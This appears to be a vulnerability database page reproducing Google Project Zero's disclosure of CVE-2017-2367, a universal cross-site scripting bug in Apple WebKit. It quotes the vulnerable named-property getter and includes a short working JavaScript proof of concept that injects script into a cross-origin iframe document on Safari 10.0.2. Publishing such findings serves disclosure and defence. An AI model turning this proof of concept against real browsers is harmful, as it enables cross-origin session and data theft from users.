Lucene search
K

Apple Webkit Named Property UXSS

🗓️ 09 Apr 2017 00:00:00Reported by Google Security ResearchType 
packetstorm
 packetstorm
🔗 packetstormsecurity.com👁 76 Views

Apple Webkit: Named property UXSS with window acces

Related
Code
` Apple Webkit: UXSS by accessing a named property from an unloaded window   
  
CVE-2017-2367  
  
  
The frame is not detached from an unloaded window. We can access to the new document's named properties via the following function.  
  
static bool jsDOMWindowPropertiesGetOwnPropertySlotNamedItemGetter(JSDOMWindowProperties* thisObject, Frame& frame, ExecState* exec, PropertyName propertyName, PropertySlot& slot)  
{  
...  
Document* document = frame.document(); <<-------- the new document.  
if (is<HTMLDocument>(*document)) {  
auto& htmlDocument = downcast<HTMLDocument>(*document);  
auto* atomicPropertyName = propertyName.publicName();  
if (atomicPropertyName && htmlDocument.hasWindowNamedItem(*atomicPropertyName)) {  
JSValue namedItem;  
if (UNLIKELY(htmlDocument.windowNamedItemContainsMultipleElements(*atomicPropertyName))) {  
Ref<HTMLCollection> collection = document->windowNamedItems(atomicPropertyName);  
ASSERT(collection->length() > 1);  
namedItem = toJS(exec, thisObject->globalObject(), collection);  
} else  
namedItem = toJS(exec, thisObject->globalObject(), htmlDocument.windowNamedItem(*atomicPropertyName));  
slot.setValue(thisObject, ReadOnly | DontDelete | DontEnum, namedItem);  
return true;  
}  
}  
  
return false;  
}  
  
PoC:  
  
"use strict";  
  
let f = document.body.appendChild(document.createElement("iframe"));  
let get_element = f.contentWindow.Function("return logo;");  
  
f.onload = () => {  
f.onload = null;  
  
let node = get_element();  
  
var sc = document.createElement("script");  
sc.innerText = "alert(location)";  
node.appendChild(sc);  
};  
  
f.src = "<a href="https://abc.xyz/";" title="" class="" rel="nofollow">https://abc.xyz/";</a>  
  
Tested on Safari 10.0.2(12602.3.12.0.1).  
  
  
This bug is subject to a 90 day disclosure deadline. If 90 days elapse  
without a broadly available patch, then the bug report will automatically  
become visible to the public.  
  
  
  
  
Found by: lokihardt  
  
`

Data

Build on a solid foundation with Vulners data

We provide the essential building blocks for cybersecurity solutions with comprehensive, structured, and constantly updated vulnerability and exploits data

Api

Power your application with Vulners API

The Vulners REST API offers reliable, high-performance access to vulnerability intelligence, with 99.9% SLA uptime and CDN-backed data delivery for seamless global access

App

Assess and manage vulnerabilities with Vulners tools

Built on top of Vulners' database and SDK, end-user solutions give security professionals and developers lightweight and powerful tools for vulnerability remediation

09 Apr 2017 00:00Current
7.5High risk
Vulners AI Score7.5
EPSS0.06166
76